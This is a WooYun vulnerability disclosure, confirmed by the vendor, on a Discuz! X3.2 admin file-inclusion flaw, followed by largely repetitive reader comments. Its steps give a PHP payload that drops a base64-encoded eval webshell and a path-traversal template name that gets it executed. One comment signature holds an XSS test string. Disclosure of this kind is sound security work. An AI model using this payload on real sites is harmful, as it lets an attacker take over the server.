当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2014-065559

漏洞标题：Discuz3.2后台文件包含漏洞可后台拿shell

相关厂商：Discuz!

漏洞作者： 路人甲

提交时间：2014-06-20 09:20

修复时间：2014-08-04 09:22

公开时间：2014-08-04 09:22

漏洞类型：文件包含

危害等级：高

自评Rank：20

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2014-06-20： 细节已通知厂商并且等待厂商处理中
2014-06-20： 厂商已经确认，细节仅向厂商公开
2014-06-23： 细节向第三方安全合作伙伴开放
2014-08-14： 细节向核心白帽子及相关领域专家公开
2014-08-24： 细节向普通白帽子公开
2014-09-03： 细节向实习白帽子公开
2014-08-04： 细节向公众公开

简要描述：

最新版本：Discuz! X3.2 Release 20140618
包括以前版本

详细说明：

由于创建专题时未对

静态化名称

做任何限制引发此漏洞
1.全局->站点信息
网站 URL: http://www.comsenz.com/#<?php file_put_contents('0.php',base64_decode('PD9waHAgQGV2YWwoJF9QT1NUW2FdKTsgPz4='));?>

1.jpg


2.工具->更新缓存

2.jpg


3.门户->HTML管理
静态文件扩展名: htm
专题HTML存放目录:data/cache

3.jpg


4.创建专题
静态化名称[此处未做任何限制]：../../template/default/portal/portal_topic_test

4.jpg


5.专题管理
对刚添加的专题 开启 并生成

5.jpg


6.再次创建专题
模板名 选择刚生成的 ./template/default/portal/portal_topic_test.htm
提交

6.jpg


就执行了php代码 <?php file_put_contents('0.php',base64_decode('PD9waHAgQGV2YWwoJF9QT1NUW2FdKTsgPz4='));?>
不仅仅是可以生成到专题目录，可以生成到任何可以包含的下面！

漏洞证明：

7.jpg

修复方案：

版权声明：转载请注明来源 路人甲@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：20

确认时间：2014-06-20 11:13

厂商回复：

感谢您对问题的提出，我们尽快予以修复

最新状态：

暂无

漏洞评价：

评论

  1. 2014-06-20 09:40 | felixk3y ( 普通白帽子 | Rank:523 漏洞数:41 | php python jsp)

    你们把DZ后台拿shell的方法都报告完了，以后遇到DZ看你们杂办

  2. 2014-06-20 09:43 | 小葵 ( 实习白帽子 | Rank:84 漏洞数:11 | 我们是害虫，我们是害虫！)

    @felixk3y 眼瞅着手里可用的GETSHELL漏洞越来越少 内牛满面啊

  3. 2014-06-20 10:53 | 兔兔侠 ( 路人 | Rank:2 漏洞数:1 )

    没漏洞了

  4. 2014-06-20 13:42 | phith0n 认证白帽子 ( 核心白帽子 | Rank:656 漏洞数:107 | 一个想当文人的黑客~)

    @felixk3y 就跟狗的漏洞一样。。。提交的人都是自断后路。。。

  5. 2014-06-23 10:28 | 逗比 ( 路人 | Rank:20 漏洞数:6 | 逗比的年代，诶油我艹)

    你们把DZ后台拿shell的方法都报告完了，以后遇到DZ看你们杂办

  6. 2014-06-25 00:15 | chinakid ( 路人 | Rank:6 漏洞数:3 | 小白一枚，爱好美女。)

    你们把DZ后台拿shell的方法都报告完了，以后遇到DZ看你们杂办

  7. 2014-07-02 19:50 | 暗影 ( 路人 | Rank:4 漏洞数:4 | 0.0 0.0 0.0 0.0 0.0 0.0)

    目测 他肯定找到了 新的方法

  8. 2014-07-03 16:21 | 西顾 ( 路人 | Rank:0 漏洞数:1 | 保守主义，展元爱好者，啥都不会)

    mark好像看过一篇文件包含拿shell 难道是3.1 ？

  9. 2014-07-13 16:51 | CplusHua ( 普通白帽子 | Rank:238 漏洞数:33 | 乌云奖金:-1)

    你们把DZ后台拿shell的方法都报告完了，以后遇到DZ看你们杂办

  10. 2014-07-15 19:12 | 小小鸟 ( 路人 | Rank:8 漏洞数:6 | 小白一个)

    你们把DZ后台拿shell的方法都报告完了，以后遇到DZ看你们杂办

  11. 2014-07-23 11:20 | 小杰哥 ( 普通白帽子 | Rank:155 漏洞数:25 | 逆水行舟，不进则退。)

    你们把DZ后台拿shell的方法都报告完了，以后遇到DZ看你们杂办

  12. 2014-07-26 13:27 | 坠落。 ( 路人 | Rank:17 漏洞数:2 | -.- 屌丝一枚,菜鸟一个,擅长windows/linux...)

    你们把DZ后台拿shell的方法都报告完了，以后遇到DZ看你们杂办

  13. 2014-08-04 09:31 | zhxs ( 实习白帽子 | Rank:32 漏洞数:19 | Jyhack-TeaM：http://bbs.jyhack.com/)

    碰到dz的以后怎么拿shell

  14. 2014-08-04 09:57 | 浮萍 ( 普通白帽子 | Rank:555 漏洞数:118 | 默默潜水)

    肯定找到新的方法，更快捷

  15. 2014-08-04 11:47 | Wangl ( 实习白帽子 | Rank:33 漏洞数:4 | 新浪支付，值得拥有)

    你们把DZ后台拿shell的方法都报告完了，以后遇到DZ看你们杂办

  16. 2014-08-20 13:10 | 叮咚叮咚 ( 路人 | Rank:0 漏洞数:2 | 热爱生活，热爱技术)

    你们把DZ后台拿shell的方法都报告完了，以后遇到DZ看你们杂办

  17. 2014-08-21 00:00 | feather ( 路人 | Rank:10 漏洞数:4 | )( 我不是路人 | Rank:9999 漏洞数:0 |)

    魔术师会解密一些魔术，但是大部分还是在业内共享。。。

  18. 2014-08-24 21:16 | 兜帽 ( 路人 | Rank:3 漏洞数:3 | "><script>alert("xss")</script>)

    你们把DZ后台拿shell的方法都报告完了，以后遇到DZ看你们杂办

  19. 2014-09-06 10:29 | Crazy3 ( 路人 | Rank:0 漏洞数:1 | 对代码审计，漏洞挖掘很感兴趣)

    你们把DZ后台拿shell的方法都报告完了，以后遇到DZ看你们杂办

  20. 2014-10-24 16:11 | nzk1912 ( 实习白帽子 | Rank:41 漏洞数:10 | 软件开发8年了，也来挖挖漏洞，为创建安全...)

    后台拿SHELL有那么严重吗？要先有管理员权限吧

  21. 2014-11-10 21:56 | h4ckhell00 ( 路人 | Rank:10 漏洞数:2 | 最温暖的两个字是什么？1、我在。2、别怕。...)

    你们把DZ后台拿shell的方法都报告完了，以后遇到DZ看你们杂办

  22. 2014-12-31 13:54 | 小渔小渔 ( 路人 | Rank:2 漏洞数:1 | 我就是我，我是小渔)

    连SHELL都公布了。。那以后怎么拿？

  23. 2015-08-08 22:34 | 颜筱诺 ( 路人 | Rank:0 漏洞数:1 | 今天早上没吃药，感觉自己萌哒哒！！)

    然并卵，先要后台权限。

  24. 2015-08-22 20:39 | ChristopereRussell ( 路人 | Rank:1 漏洞数:1 | 高中生一只，爱好计算机)

    你们把DZ后台拿shell的方法都报告完了，以后遇到DZ看你们杂办

  25. 2015-09-23 03:14 | 邪少 ( 实习白帽子 | Rank:58 漏洞数:7 )

    你们把DZ后台拿shell的方法都报告完了，以后遇到DZ看你们杂办